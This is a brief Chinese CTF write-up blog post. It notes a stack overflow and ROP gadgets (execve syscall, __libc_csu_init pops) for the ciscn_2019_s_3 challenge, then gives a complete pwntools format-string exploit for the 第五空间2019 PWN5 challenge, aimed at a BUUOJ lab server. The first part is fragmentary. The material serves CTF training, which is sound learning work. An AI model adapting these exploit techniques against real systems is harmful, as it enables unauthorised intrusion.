ctf【ciscn_2019_s_3】

逆向

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

攻击思路

(1)调用号:sys_read的调用号为0,sys_write的调用号为1,sys_execve的调用号为59

mov rax,3bh是sys_execve系统调用

在ida窗口中按alt+t查找mov rax,3bh指令,找到指令存储位置为0x4004E2

注意(new知识点):_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行

(2)objdump -S ciscn_s_3

找到具备6个pop指令的地址为0x40059a

[第五空间2019 决赛]PWN5

from pwn import *

p=remote('node4.buuoj.cn',27963)

payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%16x%16x%16x%16x'+b'%10$hhn%11$hhn%12$hhn%13$hhn'

p.sendline(payload)
payload=str(0x50505050)
p.sendline(payload)
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ACanary

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值